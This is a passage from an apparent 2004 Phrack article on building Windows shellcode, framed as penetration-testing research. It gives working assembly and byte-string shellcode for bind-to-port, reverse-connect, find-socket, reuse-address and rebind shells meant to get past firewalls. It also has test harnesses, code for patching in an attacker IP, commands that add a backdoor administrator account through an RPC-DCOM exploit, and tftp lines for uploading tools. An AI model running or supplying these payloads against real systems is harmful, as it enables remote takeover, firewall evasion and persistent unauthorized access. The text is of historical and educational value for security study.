==Phrack Inc.==
Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10
|=-----------=[ History and Advances in Windows Shellcode ]=-------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sk <sk at scan-associates d0t net> ]=----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|
--[ Contents
1. Abstract
2. Introduction to shellcode
a. Why shellcode?
b. Windows shellcode skeleton
i. Getting EIP
ii. Decoder
iii. Getting address of required function
iv. Locating Kernel32 base memory
v. Getting GetProcAddress()
vi. Getting other functions by name
vii. Spawning a shell
c. Compiling our shellcode
3. The connection
a. Bind to port shellcode
i. Bind to port shellcode implementation
ii. Problem with Bind to port shellcode
b. Reverse connect
i. Reverse connect shellcode implementation
ii. Problem with reverse connect shellcode
4. One-way shellcode
a. Find socket shellcode
i. Problem with find socket shellcode
b. Reuse address shellcode
i. Reuse address shellcode implementation
ii. Problem with reuse address shellcode
c. Rebind socket
i. Rebind socket shellcode implementation
d. Other one-way shellcode
5. Transferring file using shellcode
a. Uploading file with debug.exe
b. Uploading file with VBS
c. Retrieving file from command line
6. Avoiding IDS detection
7. Restarting vulnerable service
8. End of shellcode?
9. Greetz!
10. References
11. The code
--[ 1. Abstract
Firewall is everywhere in the Internet now. Most of the exploits
released in the public have little concern over firewall rules
because they are just proof of concept. In real world, we would
encounter targets with firewall that will make exploitation harder.
We need to overcome these obstacles for a successful penetration
testing job. The research of this paper started when we need to take
over (own) a machine which is heavily protected with rigid firewall
rules. Although we can reach the vulnerable service but the strong
firewall rules between us and the server hinder all standard exploits
useless.
The objective of the research is to find alternative ways which allow
penetration tester to take control of a machine after a successful
buffer overflow. A successful buffer overflow in a sense that it will
eventually leads to arbitrary code execution. These alternative
mechanisms should succeed where others fail even in the most rigid
firewall rules.
In our research to find a way to by pass these troublesome firewall
rules, we looked into various existing techniques used by exploits in
the public and why they fail. Then, we found several mechanisms that
will work, but dependence to the vulnerable service. Although we can
take over the server using these techniques, we take one step further
to develop a more generic technique which is not dependence to any
service and can be reuse in most other buffer overflows.
This paper will start with dissection on a standard Win32 shellcode
as an introduction. We will then explore the techniques being used by
proof of concept codes to allow attacker to control the target and
their limitations. Then, we will introduce a few alternatives
techniques which we call "One-way shellcode" and how they may by pass
firewall rules. Finally, we also discussed on a possible way to
transfer file from command line without breaking the firewall rule.
--[ 2. Introduction to shellcode
An exploit usually consists of two major components:
1. Exploitation technique
2. Payload
The objective of the exploitation part is to divert the execution
path of the vulnerable program. We can achieve that via one of these
techniques:
* Stack-based Buffer Overflow
* Heap-based Buffer Overflow
* Format String
* Integer Overflow
* Memory corruption, etc
Even though we may use one or more of those exploitation techniques
to control the execution path of a program, each vulnerability need
to be exploited differently. Every vulnerability has different way to
trigger the bug. We may use different buffer size or character set to
trigger the overflow. Although we can probably use the same technique
for vulnerabilities in the same class, we cannot use the same code.
Once we control of the execution path, we probably want it to execute
our code. Thus, we need to include these code or instruction set in
our exploit. The part of code which allows us to execute arbitrary
code is known as payload. The payload can virtually do everything a
computer program can do with the permission of the vulnerable service.
A payload that spawns you a shell is known as a shellcode. It allows
interactive command execution. Unlike Exploitation technique, a well
designed shellcode can easily be reused in other exploits. We will
try to build shellcode that can be reused. A basic requirement of a
shellcode is the shell and a connection that allow use to use it
interactively.
--[ 2.a Why shellcode?
Why shellcode? Simply because it is the simplest way that allows the
attacker to explore the target system interactively. It might give
the attacker the ability to discover internal network, to further
penetrate into other computers. A simple "net view /domain" command
in Windows box would review many other easy targets.
A shell may also allow upload/download file/database, which is
usually needed as proof of successful pen-test. You also may easily
install trojan horse, key logger, sniffer, Enterprise worm, WinVNC,
etc. An Enterprise Worm could be a computer worm which was written
specifically to infect other machine in the same domain using the
credential of the primary domain controller.
A shell is also useful to restart the vulnerable services. This will
keep the service running and your client happy. But more importantly,
restarting the vulnerable service usually allow us to attack the
service again. We also may clean up traces like log files and events
with a shell. There are just many other possibilities.
However, spawning a shell is not the only thing you can do in your
payload. As demonstrated by LSD in their Win32 ASM component, you can
create a payload that loop and wait for command from the attacker.
The attacker could issue a command to the payload to create new
connection, upload/download file or spawn a shell. There are also a
few others payload strategies in which the payload will loop and wait
for additional payload from the attacker.
Regardless whether a payload is spawning a shell or loop to wait for
instructions, it still needs to communicate with the attacker.
Although we are using payload that spawns a shell throughout this
article, the mechanisms being use for communication can be use in
other payload strategy.
--[ 2.b Windows shellcode skeleton
Shellcode usually start by getting to know where you are during the
execution by grapping the EIP value. And then, a decoding process
will take place. The process will then jump into the decoded memory
area where execution can continue. Before we can do anything useful,
we need to find addresses of all functions and API that we need to
use in the shellcode. With that, we can setup a socket, and finally
spawn a shell.
* Getting EIP
* Decoder
* Getting addresses of required functions
* Setup socket
* Spawning shell
Let's look into what these components suppose to do, in greater
detail.
--[ 2.b.i Getting EIP
We would like to make our shellcode as reusable as possible. For that,
we will avoid using any fixed address which could change in different
environment. We will use relative addressing as much as we could. To
start with, we need to know where we are in the memory. This address
will be our base address. Any variable or function in the shellcode
will be relative to this address. To get this address, we can use a
CALL and a POP instruction. As we already know, whenever we are
calling a function, the return value is push into the stack just
before the function is called. So, if the first thing we do in the
function is a POP command, we will obtain the return value in a
register. As shown below, EAX will be 451005.
450000:
label1: pop eax
450005: ... (eax = 451005)
451000: call label1 ;start here!
451005:
Most likely you will find something similar to the code below in a
shellcode, which does about the same thing.
450000: jmp label1
450002:
label2: jmp cont
450004:
label1: call label2
450009:
cont: pop eax
... (eax = 450009)
Another interesting mechanism being use to obtain the EIP is to make
use of a few special FPU instructions. This was implemented by Aaron
Adams in Vuln-Dev mailing list in the discussion to create pure ASCII
shellcode. The code uses fnstenv/fstenv instructions to save the
state of the FPU environment.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions
will generate non-standard ASCII characters.
--[ 2.b.ii Decoder
Buffer overflow usually will not allow NULL and a few special
characters. We can avoid using these characters by encoding our
shellcode. The easiest encoding scheme is the XOR encoding. In this
encoding, we will XOR each char in our shellcode with a predefined
value. During execution, a decoder will translate the rest of the
code back to real instruction by XOR it again with the predefined
value. As shown here, we can set the number of byte we want to decode
in ecx, and while eax is pointing to the starting point of our
encoded shellcode. We xor the destination byte by byte with 0x96
until the loop over. There are other more advance encoding schemes,
of cause. We can use a DWORD xor value instead of a char to encode 4
bytes at a time. We also may break the code apart by encoding them
using a different xor key. All with the purpose to get rid of
unusable chars in our shellcode.
xor ecx, ecx
mov cl, 0C6h ;size
loop1:
inc eax
xor byte ptr [eax], 96h
loop loop1
The Metasploit project (http://metasploit.com/) contains a few very
useful encoders worth checking.
--[ 2.b.iii Getting address of required function
After the decoding process, we will jump into the memory area where
the decoded shellcode start to continue our execution. Before we can
do anything useful, we must locate the address of all APIs that we
need to use and store it in a jump table. We are not going to use any
fixed address to API because it is different between service packs.
To get the address of API we need, we can use an API called
GetProcAddress(). By supplying the name of the function we need to
this API, it will return the address where we can call to use it. To
obtain the address of GetProcAddress() itself, we can search the
export table of the Kernel32.dll in the memory. Kernel32.dll image is
located predefined in a memory location depending on the OS.
* NT - 0x77f00000
* 2kSP2 & SP3 - 0x77e80000
* WinXP - 0x77e60000
Since we know the default base memory of kernel32.dll is located at
these locations, we can start looping backward from 0x77f00000 to
look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark
just like any Windows application. This trick was used by High Speed
Junky (HSJ) in his exploit and it works quite nicely for all the
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is
located at 0x7c570000. In order to scan the memory from 0x77f00000,
we need to setup an exception handler that will catch invalid memory
access.
--[ 2.b.iv Locating Kernel32 base memory
However, there is a better method to get the kernel32 base memory.
Using the fs selector, we can get into our PEB. By searching the
PEB_LDR_DATA structure, we will find the list of DLL which our
vulnerable program initialized when it start. The list of DLL will be
loaded in sequence, first, NTDLL, followed by Kernel32. So, by
traveling one nod forward in the list, we will get the base memory of
the Kernel32.dll. This technique, complete with the code, has been
published by researchers in VX-zine, then used by LSD in their
Windows Assembly component.
mov eax,fs:[30h] ; PEB base
mov eax,[eax+0ch] ; goto PEB_LDR_DATA
; first entry in InInitializationOrderModuleList
mov esi,[eax+1ch]
lodsd ; forward to next LIST_ENTRY
mov ebx,[eax+08h] ; Kernel32 base memory
--[ 2.b.v Getting GetProcAddress()
Once we know the base address of Kernel32.dll, we can locate its
Export Table and look for "GetProcAddress" string. We also can get
the total of exported functions. Using the number, we loop until we
find the string.
mov esi,dword ptr [ebx+3Ch] ;to PE Header
add esi,ebx
mov esi,dword ptr [esi+78h] ;to export table
add esi,ebx
mov edi,dword ptr [esi+20h] ;to export name table
add edi,ebx
mov ecx,dword ptr [esi+14h] ;number of exported function
push esi
xor eax,eax ;our counter
For each address in the jump table, we will check if the destination
name is match with "GetProcAddress". If not, we increase EAX by one
and continue searching. Once we found a match, EAX will be holding
our counter. Using the following formula, we can obtain the real
address of GetProcAddress().
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base
We count until we reach "GetProcAddress". Multiply the index by 2,
add it to the address of exported ordinals table. It should now point
to the ordinal of GetProcAddress(). Take the value, multiply it by 4.
Total it up with the address of the addrress of the table and
Kernel32 base address, we will get the real address of the
GetProcAddress(). We can use the same technique to get the address of
any exported function inside Kernel32.
--[ 2.b.vi Getting other functions by name
Once we get the address of GetProcAddress(), we can easily obtain
address of any other API. Since there are quite a number of APIs that
we need to use, we (actually, most of these codes were dissass from
HSJ's exploit) build a function that take a function name and return
the address. To use the function, set ESI pointing to the name of the
API we want to load. It must be NULL terminated. Set EDI point to the
jump table. A jump table is just a location where we store all
addresses of API we need to call. Set ECX to number of API we want it
to resolve.
In this example, we call to load 3 APIs:
mov edi,esi ;EDI is the output, our jump table
xor ecx,ecx
mov cl,3 ;Load 3 APIs
call loadaddr
The "loadaddr" function that get the job done:
loadaddr:
mov al,byte ptr [esi]
inc esi
test al,al
jne loadaddr ;loop till we found a NULL
push ecx
push edx
push esi
push ebx
call edx ;GetProcAddress(DLL, API_Name);
pop edx
pop ecx
stosd ;write the output to EDI
loop loadaddr ;loop to get other APIs
ret
--[ 2.b.vii Spawning a shell
Once we have gone thru those troublesome API address loading, we can
finally do something useful. To spawn a shell in Windows, we need to
call the CreateProcess() API. To use this API, we need to set up the
STARTUPINFO in such a way that, the input, output and error handler
will be redirected to a socket. We also will set the structure so
that the process will have no window. With the structure setup, we
just need to call CreateProcess to launch "cmd.exe" to get an
interactive command shell in windows.
;ecx is 0
mov byte ptr [ebp],44h ;STARTUPINFO size
mov dword ptr [ebp+3Ch],ebx ;output handler
mov dword ptr [ebp+38h],ebx ;input handler
mov dword ptr [ebp+40h],ebx ;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
mov word ptr [ebp+2Ch],0101h
lea eax,[ebp+44h]
push eax
push ebp
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push esi
push ecx
call dword ptr [edi-28] ;CreateProcess
--[ 2.c Compiling our shellcode
The Code section in the end of the paper contains source code
bind.asm. bind.asm is a complete shellcode written in Assembly
Language which will create a shell in Windows and bind it to a
specific port. Compile bind.asm:
# tasm -l bind.asm
It will produce 2 files:
1. bind.obj - the object code
2. bind.lst - assembly listing
If we open bind.obj with a hex editor, we will see that the object
code start with something similar to this:
01) 80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00 ....bind.asmb. .
02) 00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C ...Turbo Assembl
03) 65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99 er Version 4.1.
04) 88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a
05) 73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03 sm/...@.L....h..
06) 00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F .@......_TEXT.CO
07) 44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00 DE..............
08) 05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9 ._DATA.DATA.....
09) 00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A ..........FLAT9.
10) 02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A ...^....DGROUP..
11) 04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01 .....Z...@......
12) 01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B ............X...
13) ...
14) 5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00 ZY..............
15) 9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06 .m...|&.....t...
Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of
the partial hex dump above. It will end with 0xC3 as shown in line 14.
We need to use a hex editor to remove the first 176 bytes and the
last 26 bytes. (You don't need to do this if you are using NASM
compiler, but the author has been using TASM since his MS-DOS age).
Now that we have the shellcode in its pure binary form, we just need
to build a simple program that read from this file and produce the
corresponding hex value in a C string. Refer to the Code section
(xor.cpp) for the code that will do that. The output of the program
is our shellcode in C string syntax:
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
--[ 3 The connection
We have seen some of the basic building block of a shellcode. But we
have not cover the connection part of the shellcode. As mentioned, a
shellcode needs a shell and a connection to allow interactive command.
We want to be able to send any command and see the output. Regardless
if we are spawning a shell, transferring file or loop to wait for
further command, we need to setup a connection. There are three
published techniques: Bind to port, Reverse connect and Find socket
shellcode. We will look into each one of these, as well as their
limitation. Along the way, various exploits that uses these shellcode
will be demonstrated to get a better understanding.
--[ 3.a Bind to port shellcode
Bind to port shellcode is popular being used in proof of concept
exploit. The shellcode setup a socket, bind it to a specific port and
listen for connection. Upon accepting a connection, you spawn a shell.
This following APIs are needed for this type of connection:
* WSASocket()
* bind()
* listen()
* accept()
It is important to note that we are using WSASocket() and not
socket() to create a socket. Using WSASocket will create a socket
that will not have an overlapped attribute. Such socket can be use
directly as a input/output/error stream in CreateProcess() API. This
eliminates the need to use anonymous pipe to get input/output from a
process which exist in older shellcode. The size of the shellcode
shrinks quite a bit using this technique. It was first introduced by
David Litchfield. You can find many of Bind too port shellcode in
Packetstorm Security by debugging shellcode of these exploits:
* slxploit.c
* aspcode.c
* aspx_brute.c
--[ 3.a.1 Bind to port shellcode implementation
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0 ;IP
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
inc eax
push eax
push ebx
call dword ptr [edi-8] ;listen (soc, 1)
push eax
push eax
push ebx
call dword ptr [edi-4] ;accept
Compiling bind.asm will create shellcode (435 bytes) that will work
with any service pack. We will test the bind to port shellcode using
a simple testing program - testskode.cpp. Copy the shellcode (in C
string) generated the xor program and parse it into testskode.cpp:
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;
void *ma = malloc(10000);
memcpy(ma,shellcode,sizeof(shellcode));
__asm
{
mov eax,ma
int 3
jmp eax
}
free(ma);
Compile and running testskode.cpp will result in a break point just
before we jump to the shellcode. If we let the process continue, it
will bind to port 1212 and ready to accept connection. Using netcat,
we can connect to port 1212 to get a shell.
--[ 3.a.2 Problem with bind to port shellcode
Using proof of concept exploit with bind to port shellcode against
server in organization with firewall usually will not work. Even
though we successfully exploited the vulnerability and our shellcode
executed, we will have difficulties connecting to the bind port.
Usually, firewall will allow connection to popular services like port
25, 53, 80, etc. But usually these ports are already in used by other
applications. Sometimes the firewall rules just did not open these
ports. We have to assume that the firewall block every port, expect
for the port number of the vulnerable service.
--[ 3.b Reverse connect shellcode
To overcome the limitation of bind to port shellcode, many exploits
prefer to use reverse connection shellcode. Instead of binding to a
port waiting for connection, the shellcode simply connect to a
predefined IP and port number to drop it a shell.
We must include our IP and port number which the target must connect
to give a shell in the shellcode. We also must run netcat or anything
similar in advance, ready to accept connection. Of cause, we must be
using IP address which the victim machine is reachable. Thus, usually
we use public IP.
The following APIs are needed to setup this type of connection:
* WSASocket()
* connect()
You can find many of these examples in Packetstorm Security by
debugging shellcode of these exploits:
* jill.c
* iis5asp_exp.c
* sqludp.c
* iis5htr_exp.c
--[ 3.b.1 Reverse connect shellcode implementation
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call dword ptr [edi-8] ;WSASocketA
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port in network byte order
mov dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push 10h
push ebp
push ebx
call dword ptr [edi-4] ;connect
Compiling reverse.asm will create shellcode (384 bytes) that will
work with any service pack. We will use this shellcode in our
JRun/ColdFusion exploit. However there is still one problem. This
exploit will not accept NULL character. We need to encode our
shellcode with an XOR shield. We can use the xor.cpp to encode our
shellcode using its third parameter.
First, let's compile reverse.asm:
# \tasm\bin\tasm -l reverse.asm
Then, hex-edit reverse.obj to get our shellcode. Refer to bind to
port shellcode on how to do it. Now, use xor.cpp to print the
shellcode:
# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...
The first 36 bytes of the shellcode is our decoder. It has been
carefully crafted to avoid NULL. We keep this part of the shellcode.
Then, we run xor.cpp again with an extra parameter to xor the code
with 0x96.
# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We take bytes sequence from the 37th bytes onwards. Combine the
encoder and the xored shellcode, we will get the actual shellcode
that we can use in our exploit.
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We can use the following statements in our exploit to change the IP
and port to our machine which has netcat listening for a shell.
*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;
The JRun/ColdFusion exploit is attached in the Code section
(weiwei.pl). The exploit uses Reverse connect shellcode.
--[ 3.b.2 Problem with reverse connect shellcode
It is not unusual to find server which has been configure to block
out going connection. Firewall usually blocks all outgoing connection
from DMZ.
--[ 4 One-Way shellcode
With the assumption that firewall has been configured with the
following rules:
* Blocks all ports except for listening ports of the services
* Blocks all outgoing connections from server
Is there any way to control the server remotely? In some case, it is
possible to use existing resources in the vulnerable service to
establish the control. For example, it may be possible to hook
certain functions in the vulnerable service so that it will take over
socket connection or anything similar. The new function may check any
network packet for a specific signature. If there is, it may execute
command that attached along with the network packet. Otherwise, the
packet passes to the original function. We can then connect to the
vulnerable service with our signature to trigger a command execution.
As early as in 2001, Code Red worm uses some sort of function hooking
to deface web site
(http://www.eeye.com/html/Research/Advisories/AL20010717.html).
Another alternative will be to use resources that available from the
vulnerable service. It is also possible to patch the vulnerable
service to cripple the authentication procedure. This will be useful
for services like database, telnet, ftp, SSH and alike. In the case
of Web server, it is possible to create PHP/ASP/CGI pages in the web
root that will allow remote command execution via web pages. The
shellcode in the following link create an ASP page, as implemented by
Mikey (Michael Hendrickx):
http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c
Code Red 2 worm also has a very interesting method to create a
backdoor of an IIS server. It creates a virtual path to drive C: and
D: of the server to the web root. Using these virtual paths, attacker
can execute cmd.exe which will then allow remote command execution:
http://www.eeye.com/html/research/advisories/AL20010804.html
However, these implementations are specific to the service we are
exploiting. We hope to find a generic mechanism to bypass the
firewall rules so that we can easily reuse our shellcode. With the
assumption that the only way to interact with the server is through
the port of the vulnerable service, we call these shellcode, One-way
shellcode:
* Find socket
* Reuse address socket
* Rebind socket
--[ 4.a Find socket shellcode
This method was documented in LSD's paper on Unix shellcode
(http://lsd-pl.net/unix_assembly.html). Although the code is for Unix,
we can use the same technique in the Windows world. The idea is to
locate the existing connection that the attacker was using during the
attack and use that connection for communication.
Most WinSock API requires only the socket descriptor for its
operation. So, we need to find this descriptor. In our implementation,
we loop from 0x80 onwards. This number is chosen because socket
descriptors below 0x80 are usually not relevant to our network
connection. In our experience, using socket descriptor below 0x80 in
WinSock API sometimes crash our shellcode due to lack of Stack space.
We will get the destination port of the network connection for each
socket descriptor. It is compared with a known value. We hard coded
this value in our shellcode. If there is a match, we found our
connection. However, socket may not be a non-overlapping socket.
Depending on the program that created the socket, there is
possibility that the socket we found is an overlapping socket. If
this is the case, we cannot use it directly as in/out/err handler in
CreateProcess(). To get an interaction communication from this type
of socket, we can anonymous pipe. Description on using anonymous pipe
in shellcode can be found in article by Dark Spyrit
(http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-
pl.net/windows_components.html).
xor ebx,ebx
mov bl,80h
find:
inc ebx
mov dword ptr [ebp],10h
lea eax,[ebp]
push eax
lea eax,[ebp+4]
push eax
push ebx ;socket
call dword ptr [edi-4] ;getpeername
cmp word ptr [ebp+6],1234h ;myport
jne find
found:
push ebx ;socket
Find socket shellcode work by comparing the destination port of the
socket with a known port number. Thus, attacker must obtain this port
number first before sending the shellcode. It can be easily done by
calling getsockname() on a connected socket.
It is important to note that this type of shellcode should be use in
an environment where the attacker is not in a private IP. If you are
in a private IP, your Firewall NATing will create a new connection to
the victim machine during your attack. That connection will have a
different source port that what you obtain in your machine. Thus,
your shellcode will never be able to find the actually connection.
Find socket implementation can be found in findsock.asm in the Code
section. There is also a sample usage of find socket shellcode in
hellobug.pl, an exploit for MS SQL discovered Dave Aitel.
--[ 4.a.1 Problem with Find socket shellcode
Find socket could be perfect, but in some case, socket descriptor of
the attacking connection is no longer available. It is possible that
the socket might already been closed before it reach the vulnerable
code. In some case, the buffer overflow might be in another process
altogether.
--[ 4.b Reuse address shellcode
Since we fail to find the socket descriptor of our connection in a
vulnerability that we are exploiting, we need to find another way. In
the worst scenario, the firewall allows incoming connection only to
one port; the port which the vulnerable service is using. So, if we
can somehow create a bind to port shellcode that actually bind to the
port number of the vulnerable service, we can get a shell by
connecting to the same port.
Normally, we will not be able to bind to a port which already been
used. However, if we set our socket option to SO_REUSEADDR, it is
possible bind our shellcode to the same port of the vulnerable
service. Moreover, most applications simply bind a port to INADDR_ANY
interface, including IIS. If we know the IP address of the server, we
can even specify the IP address during bind() so that we can bind our
shellcode in front of vulnerable service. Binding it to a specific IP
allow us to get the connection first.
Once this is done, we just need to connect to the port number of the
vulnerable service to get a shell. It is also interesting to note
that Win32 allow any user to connect to port below 1024. Thus, we can
use this method even if we get IUSR or IWAM account.
If we don't know the IP address of the server (may be it is using
port forwarding to an internal IP), we still can bind the process to
INADDR_ANY. However, this means we will have 2 processes excepting
connection from the same port on the same interface. In our
experience, we may need to connect a few times to get a shell. This
is because the other process could occasionally get the connection.
API needed to create a reuse address shellcode:
* WSASocketA()
* setsockopt()
* bind()
* listen()
* accept()
--[ 4.b.1 Reuse address shellcode implementation
mov word ptr [ebp],2
push 4
push ebp
push 4 ;SO_REUSEADDR
push 0ffffh
push ebx
call dword ptr [edi-20] ;setsockopt
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0h ;IP, can be 0
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
Reuse address shellcode implementation is in reuse.asm (434 bytes) in
the Code section. Same usage of this type of shellcode is implemented
in reusewb.c exploit. This exploit is using the NTDLL (WebDav)
vulnerability on IIS Web server.
--[ 4.b.2 Problem with reuse address shellcode
Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
is not possible.
--[ 4.c Rebind socket shellcode
It is not unusual to find application that actually uses SO_
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our
research did not stop there. We feel that there is a need to create a
better shellcode. Assuming that we have same restriction we have as
before. The only way to connect to the vulnerable machine is via the
port of the vulnerable service. Instead of sharing the port
gracefully as reuse address socket shellcode, we can take over the
port number entirely.
If we can terminate the vulnerable service, we can bind our shell
into the very same port that was previously used by the vulnerable
service. If we can achieve that, the next connection to this port
will yield a shell.
However, our shellcode is usually running as part of the vulnerable
service. Terminating the vulnerable service will terminate our
shellcode.
To get around with this, we need to fork our shellcode into a new
process. The new process will bind to a specific port as soon as it
is available. The vulnerable service will be forcefully terminated.
Forking is not as simple as in Unix world. Fortunately, LSD has done
all the hard work for us (http://lsd-pl.net/windows_components.html).
It is done in the following manner as implemented by LSD:
1. Call CreateProcess() API to create a new process. We must
supply a filename to this API. It doesn't matter which file, as
long as it exist in the system. However, if we choose name like
IExplore, we might be able to bypass even personal firewall. We
also must create the process in Suspend Mode.
2. Call GetThreadContext() to retrieve the environment of the
suspended process. This call allows us to retrieve various
information, including CPU registry of the suspended process.
3. Use VirtualAllocEx() to create enough buffer for our shellcode
in the suspended process.
4. Call WriteProcessMemory() to copy our shellcode from the
vulnerable service to the new buffer in the suspended process.
5. Use SetThreadContext() to replace EIP with memory address of
the new buffer.
6. ResumeThread() will resume the suspended thread. When the
thread starts, it will point directly to the new buffer which
contains our shellcode.
The new shellcode in the separate process will loop constantly trying
to bind to port of the vulnerable service. However, until we
successfully terminate the vulnerable machine it will not be able to
continue.
Back in our original shellcode, we will execute TerminateProcess() to
forcefully terminate the vulnerable service. TerminateProcess() take
two parameters, the Process handle to be terminated and the return
value. Since we are terminating the current process, we can just pass
-1 as the Process Handle.
As soon as the vulnerable service terminated, our shellcode in a
separate process will be able to bind successfully to the specific
port number. It will continue to bind a shell to that port and
waiting for connection. To connect to this shell, we just need to
connect to the target machine on the port number of the vulnerable
service.
It is possible to improve the shellcode further by checking source
port number of IP before allowing a shell. Otherwise, anyone
connecting to that port immediately after your attack will obtain the
shell.
--[ 4.c.1 Rebind socket shellcode implementation
Rebind socket shellcode is implemented in rebind.asm in the Code
section. We need to use a lot of APIs in this shellcode. Loading
these APIs by name will make our shellcode much bigger than it should
be. Thus, the rebind socket shellcode is using another method to
locate the APIs that we need. Instead of comparing the API by its
name, we can compare by its fingerprint/hash. We generate a
fingerprint for each API name we want to use and store it in our
shellcode. Thus, we only need to store 4 bytes (size of the
fingerprint) for each API. During shellcode execution, we will
calculate the fingerprint of API name in the Export Table and compare
it with our value. If there is a match, we found the API we need. The
function that loads an API address by its fingerprint in rebind.asm
was ripped from HD Moore's MetaSploit Framework
(http://metasploit.com/sc/win32_univ_loader_src.c).
A sample usage of a rebind socket shellcode can be found rebindwb.c
and lengmui.c in the Code section. Rebindwb.c is an exploit modified
from the previous WebDAV exploit that make use of Rebind shellcode.
It will attack IIS, kill it and take over its port. Connecting to
port 80 after the exploit will grant the attacker a shell.
The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP
1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP
1433 will grant the attacker a shell.
--[ 4.d Other one-way shellcode
There are other creative mechanisms being implemented by Security
Expert in the field. For example, Brett Moore's 91 bytes shellcode as
published in Pen-Test mailing list (http://seclists.org/lists/pen-
test/2003/Jan/0000.html). It is similar to the Find Socket shellcode,
only that, instead of actually finding the attacking connection, the
shellcode create a new process of CMD for every socket descriptor.
Also similar to Find socket shellcode, instead of checking the
destination port to identify our connection, XFocus's forum has
discussion on sending additional bytes for verification. Our
shellcode will read 4 more bytes from every socket descriptor, and if
the bytes match with our signature, we will bind a CMD shell to that
connection. It could be implemented as:
* An exploit send additional bytes as signature ("ey4s") after
sending the overflow string
* The shellcode will set each socket descriptor to non-blocking
* Shellcode call API recv() to check for "ey4s"
* If there is a match, spawn CMD
* Loop if not true
It is also possible to send it with "MSG_OOB" flag. As implemented by
san _at_ xfocus d0t org.
Yet, another possibility is to implement shellcode that execute
command that attached in the shellcode it self. There is no need to
create network connection. The shellcode just execute the command and
die. We can append our command as part of the shellcode and execute
CreateProcess() API. A sample implementation can be found on dcomx.c
in the Code section. For example, we can use the following command to
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.
# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"
--[ 5 Transferring file using shellcode
One of the most common things to do after you break into a box is to
upload or download files. We usually download files from our target
as proof of successful penetration testing. We also often upload
additional tools to the server to use it as an attacking point to
attack other internal server.
In the absent of a firewall, we can easily use FTP or TFTP tools
found in standard Windows installation to get the job done:
* ftp -s:script
* tftp -i myserver GET file.exe
However, in a situation where there is no other way to go in and out,
we can still transfer file using the shell we obtain from our One-way
